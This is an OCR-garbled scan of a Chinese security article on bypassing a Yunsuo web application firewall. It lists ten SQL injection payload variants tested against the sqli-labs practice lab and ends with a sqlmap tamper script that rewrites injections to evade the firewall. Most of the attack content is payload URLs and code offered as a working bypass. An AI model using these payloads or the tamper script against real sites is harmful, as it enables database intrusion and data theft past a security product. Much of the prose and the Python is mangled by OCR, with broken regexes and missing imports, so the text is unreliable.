10 ¥ ERI =EEAR tamper - ZiEilliz
M E (Security Articles) - TOOLS | {Kifdk4&
E - §03J%2

TOOLS &ift2 10 #mi%, (ESEFAREE Y, N=SiRIMUET 7N
e, RERITZN—1Ha55R, AENRMREFES TR

=, IBAEEENRNSEAHT ... - Discuz! Boar......

FinZ 10 #75i%, EEEFRERE—HFL, W=BENETTlNE, &R T —D
Hapsl38R, FENRNREFERTERGS, BAERENASERNHTIE, BRARRT
XANFUBBA, Bl JH AT LA I AR S IERRRIE S BD AT,

AiUIRIR

KN HRRA




B

EFmEE: 3.1.20.15

WERS RAATE
CopyRight © 2014 - 2020 JT.All Rights Reserved.

http:/ fwww.yunsuo.corm.cn

2% 192.168.252.151 > FIAF > WebfIFiZE > MisRmRER

5 IF BB T WebRERESWeb I IEFHIRANERSE (SEEFRNT 250

s RERLAEE ] 1R

BE  FEIN v #HlEE FENURL  [=]#E0iCookie [=]#EMIPOST  [=]#EMIUA

PR wEEERl =3
EEREE

WebfREEEHIER

S LV o

BRIEMhRAS

e it b vt e — e . ATT—




=R SSE8 IR WINndowshmas

=& Windows 2003/Windows 2008/Windows 2012
=#F: lIS/Apache/Tomcat/Weblogicz

AR win_3.1.20.15

B8 2020-04-27

—
e
———
——
e
——
-
-

Friaillizt

BIENA

BB — T ERINER, 23, RINEFRLEHNASET LIS =EHY, FNFIBX—
=, BEANNEIEEEFENEE, BRIIEFSEETILUERLHT, St T™EETLL
IEFEAT sql MBI =, HLAEX M MNZE, 05 AmEAREL, %ﬂ] EZV'IJ
LA, <strong> NEBEER %23 #eILA B --, /* R T, #EeTLASE

89,

FidHE 1

http://192. 168. 252. 151/sqli-labs/Less—1/2id=—1" || 1="%23” union select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3




B] | Elements Console  Sources  Metwork Memory  Performance  Application  Security Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST -~ sqLl ~ XSs -~ LFI ~ SSTI ~ ENCODING ~

http://192.168.252.151/sqli-labs/Less-1/?id=-1" || 1="%23" union select 1,2,3 - +

Rk 2

http://192.168. 252. 151/sqli-labs/Less—1/?id=-1" > "%23” union select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3

[w _"r Elements Console Sources Network Memeory Performance Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss - LFI ~ SSTI -~ ENCODING -~

http://192.168.252.151/sqli-labs/Less-1/%id=-1" > "%23" union select 1,2,3 -+

FidHiE 3

http://192. 168. 252. 151/sqli-labs/Less—1/?id=—1" != "%23” union select 1,2,3 —

Welcome
Your Login name:2

Your Password:3

[x _"r Elements Console Sources Network Memory Performance Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST -~ sqLl - XSS - LFI - SSTI -~ ENCODING -~

http://192.168.252.151/sqli-labs/Less-1/?id=-1" = "%23" union select 1,2,3 - +

KTHiE 4

HASHING

HASHING

+

HASHING

THEME

THEME



http://192. 168. 252. 151/sqli-labs/Less—1/?id=—1" like “%23” union select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3

Console Sources Network

Lighthouse  HackBar s o

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss -~ LFI ~ SSTI -~ ENCODING -~ HASHING -~ THEME ~

http://192.168.252.151/sqli-labs/Less-1/?id=-1" like "%23" union select 1,23 - +

FiIFE S5

http://192. 168. 252. 151/sqli—labs/Less—1/?id=1" rlike “%23” wunion select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3

[® 1]  clements Console Sources  Network  Memory  Performance  Application  Security Lighthouse ~ HackBar e ox

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss - LFI ~ SSTI - ENCODING -~ HASHING -~ THEME -~

http://192.168.252.151/sqli-labs/Less-1/?id=1"rlike "%23" union select 1,2,3 - +

FRidHik 6

http://192. 168. 252. 151/sqli-labs/Less—1/2id=—1" < ”"%23” union select 1,2,3 — +

Welcome




Your Password:3

[ al Elements Console Sources Network Memeory Performance Application Security Lighthouse HackBar b o

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING -~ THEME ~

http://192.168.252.151/sqli-labs/Less-1/%id=-1' < "%23" union select 1,2,3 - +

SIRE7

http://192. 168. 252. 151/sqli-labs/Less—1/?id=—1" %25 "%23” union select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3

[ _"r Elements Console Sources Network Memory Performance Application Security Lighthouse HackBar e
LOAD SPLIT EXECUTE TEST -~ sQLl - Xss - LFI ~ SSTI -~ ENCODING -~ HASHING -~ THEME -~
URL

http://192.168.252.151/sqli-labs/Less-1/7id=-1" %25 "%23" union select 1,2,3 -+

RidFik 8

http://192. 168. 252. 151/sqli—-labs/Less—1/?id=—1" group by “%23” union select 1,2,3 — +

Welcome



[ ol Elements Console Sources Network Memeory Performance Application Security Lighthouse HackBar e ¢ >

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss -~ LFI ~ SSTI -~ ENCODING -~ HASHING -~ THEME ~

http://192.168.252.151/sqli-labs/Less-1/?id=-1" group by "%23" union select 1,2,3 - +

SidHE9

http://192. 168. 252. 151/sqli-labs/Less—1/?id=—1" || “%23” union select 1,2,3 — +

Welcome
Your Login name:2

Your Password:3

Conscle Sources Nef

Lighthouse  HackBar £

LOAD SPLIT EXECUTE TEST -~ saLl -~ Xss - LFl -~ SSTI -~ ENCODING ~ HASHING -~ THEME -~

http://192.168.252.151/sqli-labs/Less-1/?id=-1"|| "%23" union select 1,23 — +

SHidFix 10

http://192. 168. 252. 151/sqli-labs/Less—1/2id=—1" %26 “%23” union select 1,2, 3

Welcome
Your Login name:2



Your Password:3

[® ] | Elements Console  Sources  Network  Memory  Performance  Applicaion  Security Lighthouse  HackBar [+ JEE

LOAD SPLIT EXECUTE TEST -~ sQLl - Xss - LFI ~ SSTI -~ ENCODING -~ HASHING -~ THEME -~

http://192.168.252.151/sqli-labs/Less-1/?id=-1' %26 "%23" union select 1,23 - +

I ERSMBRER R X F AR TN, $HEELESHRIE, AKRITLIBITER,
<strong> ESLfERINX "%23" BE[LAD, </strong > (EREEREEERATFRFE

Welcome
Your Login name:2

Your Password:3

_’r Elements Console Sources Network Memory Performance Application Security Lighthouse HackBar o >

LOAD SPLIT EXECUTE TEST -~ sQLl - Xss - LFI -~ SSTI -~ ENCODING ~ HASHING -~ THEME ~

URL

http://192.168.252.151/sqli-labs/Less-1/?id=-1'%23" union select 12,3 - +

SQLMAP TAMPER

THOIXLLLS, FEAEiE—FES sqlmap B9 tamper, XEBEAIATHRMLE, RI1EHEE
FAIEN# TRk e SRR, XA tamper ERFEFIEFENER

author:Alexsel

import

import

from import
from import
from import

from import



__priority = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basenam

e(__file_ ).split(".")[@], DBMS.MYSQL))

def tamper(payload, **kwargs):
if payload:
if(re.match("~[>=|<=]",payload)):
return payload
if(re.match("~-{0,1}?\d+$",payload)):
return payload
if(re.match("~\(SELECT",payload)):
payload = "|| 1='%23"' "+payload
return payload
rex = '~-{0,1}2[\d[\w]*%{0,1}[\" " T*\\)*[ |;]1"
payload = re.sub(rex, lambda x:x.group(@)+" %26%26 11='%23"' ", payload)

return payload
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rex = ‘'~-{0,1}2[\d[\w]*%{0,1}[\" "  T*\\)*[ [|;]1"
payload = re.sub(rex, lambda x:x.group(@)+" %26%26 1!='%23"' ", payload)
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